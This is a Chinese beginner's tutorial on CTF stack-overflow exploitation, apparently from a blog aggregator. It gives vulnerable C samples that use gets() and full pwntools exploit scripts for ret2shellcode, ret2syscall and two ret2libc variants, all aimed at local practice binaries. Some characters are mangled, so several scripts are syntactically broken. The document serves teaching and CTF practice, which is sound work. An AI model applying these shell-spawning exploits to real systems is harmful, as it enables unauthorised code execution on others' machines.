PWN菜鸡入门之栈溢出

Posted pwn2web

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PWN菜鸡入门之栈溢出相关的知识,希望对你有一定的参考价值。

栈溢出

一、基本概念:

  • 函数调用栈情况见链接

  • 基本准备:

    bss段可执行检测:

?  
gef?  b main
Breakpoint 1 at 0x8048536: file ret2shellcode.c, line 8.
gef?  r
Starting program: /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode 

gef?  vmmap

 

  • ROPgadget

    ROPgadget --binary rop  --only pop|ret | grep eax
    ROPgadget --binary rop  --only pop|ret | grep ebx
    ROPgadget --binary rop  --string /bin/sh
    ROPgadget --binary rop  --only int

     

  • 系统调用

    Linux系统中通过软中断0x80调用实现控制权转移给内核,内容执行完成后返回结果。所有系统调用在linux内核的源文件目录"arch/x86/kernel"中的各种文件中定义,具体建本文最后一部分的列表。技术图片

技术图片

 

二、ret2text

ret2text其实就是调用程序中text中已经存在的shell

 

三、ret2shellcode

ret2shellcode,即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码

PAYLOAD形式:padding1 + address of shellcode + padding2 + shellcode

技术图片

实例:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1
?
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets((char *)&v4);
  strncpy(buf2, (const char *)&v4, 0x64u);
  printf("bye bye ~");
  return 0;
}

 

shellcode

解析:先将shellcode写进v4,再溢出v4到返回地址,然后将返回地址覆盖成buf2

#!/usr/bin/env python
from pwn import *
?
sh = process(‘./ret2shellcode‘)
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
?
sh.sendline(shellcode.ljust(112, ‘A‘) + p32(buf2_addr))
sh.interactive()
?

  

四、ret2syscall

ret2syscall,即控制程序执行系统调用,获取 shell。

由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell,所以我们利用程序中的 gadgets 来获得 shell,而对应的 shell 获取则是利用系统调用。简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。

32位:拿execve()来举例

  • 系统调用号,即 eax 应该为 0xb

  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。

  • 第二个参数,即 ecx 应该为 0

  • 第三个参数,即 edx 应该为 0

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("This time, no system() and NO SHELLCODE!!!");
  puts("What do you plan to do?");
  gets(&v4);
  return 0;
}

 

 

找到相应寄存器地址,其中0xb为execve系统调用地址

#!/usr/bin/env python
from pwn import *
?
sh = process(./rop)
?
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
    [A * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()

 

五、ret2libc

ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system("/bin/sh"),故而此时我们需要知道 system 函数的地址。

payload: padding1 + address of system() + padding2 + address of “/bin/sh”

技术图片

padding1 处的数据可以随意填充(注意不要包含 “x00” ,否则向程序传入溢出数据时会造成截断),长度应该刚好覆盖函数的基地址。

address of system() 是 system() 在内存中的地址,用来覆盖返回地址。

padding2 处的数据长度为4(32位机),对应调用 system() 时的返回地址。因为我们在这里只需要打开 shell 就可以,并不关心从 shell 退出之后的行为,所以 padding2 的内容可以随意填充。

address of “/bin/sh” 是字符串 “/bin/sh” 在内存中的地址,作为传给 system() 的参数。

实例:

1).ret2libc1

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1
?
  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("RET2LIBC >_<");
  gets((char *)&v4);
  return 0;
}
?

 


exp:
from pwn import *
?
sh = process(‘./ret2libc1‘)
?
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat([‘a‘ * 112, system_plt, ‘b‘ * 4, binsh_addr])
sh.sendline(payload)
?
sh.interactive()

 2).ret2libc2

技术图片

技术图片

开启了堆栈不可执行保护

1、构造 payload

第一部分:

‘a‘ * 112 + gets_plt + ret_addr + buf_addr

这里需要思考两点,第一点就是 buf 地址,我们的 “/bin/sh” 应该放在哪里,通常我们会选择 .bss (存储未初始化全局变量) 段,IDA 查看 .bss 段发现程序给出了 buf2[100]数组,正好就可以使用这块区域。

技术图片现在考虑返回地址,因为在 gets() 函数完成后需要调用 system() 函数需要保持堆栈平衡,所以在调用完 gets() 函数后提升堆栈,这就需要 add esp, 4 这样的指令但是程序中并没有这样的指令。更换思路,通过使用 pop xxx 指令也可以完成同样的功能,在程序中找到了 pop ebx,ret 指令。

技术图片

第二部分:

这部分就与上一题一样,

system_plt + ret_addr + buf_addr

还有另外一种 payload 更简洁情况:

在 gets() 函数调用完后,在返回地址处覆盖上 system() 的地址将 gets() 函数的参数 buf 地址当成返回地址,再在后面加上 system() 函数的参数 buf。

’a‘ * 112 + gets_plt + system_plt + buf_addr + buf_addr
2、编写 exp
from pwn import *
?
#context.log_level = debug
?
sh = process(./ret2libc2)
?
elf = ELF(ret2libc2)
?
def pwn(sh, payload):
    sh.recvuntil(?)
    sh.sendline(payload)
    sh.sendline(/bin/sh)#这里将 /bin/sh 传入 buf 中
    sh.interactive()
?
buf = elf.symbols[buf2]
gets_plt = elf.plt[gets]
system_plt = elf.plt[system]
pop_ebx_ret = 0x0804843d
ret_addr = 0xdeadbeef
?
#payload = a * 112 + p32(gets_plt) + p32(pop_ebx_ret) + p32(buf) + p32(system_plt) + p32(ret_addr) + p32(buf)
payload = a * 112 + p32(gets_plt) + p32(system_plt) + p32(buf) + p32(buf)
pwn(sh, payload)

 

 

 

以上是关于PWN菜鸡入门之栈溢出的主要内容,如果未能解决你的问题,请参考以下文章

PWN菜鸡入门之函数调用栈与栈溢出的联系

PWN 菜鸡入门之 shellcode编写 及exploid-db用法示例

字符串溢出(pwn溢出)--ret2shellcode

pwn入门参考资源

ctf pwn 栈溢出攻防演绎流程图及学习路径v1.0(从入门到进阶,个人整理,持续更新)

20155306 白皎 0day漏洞——漏洞利用原理之栈溢出利用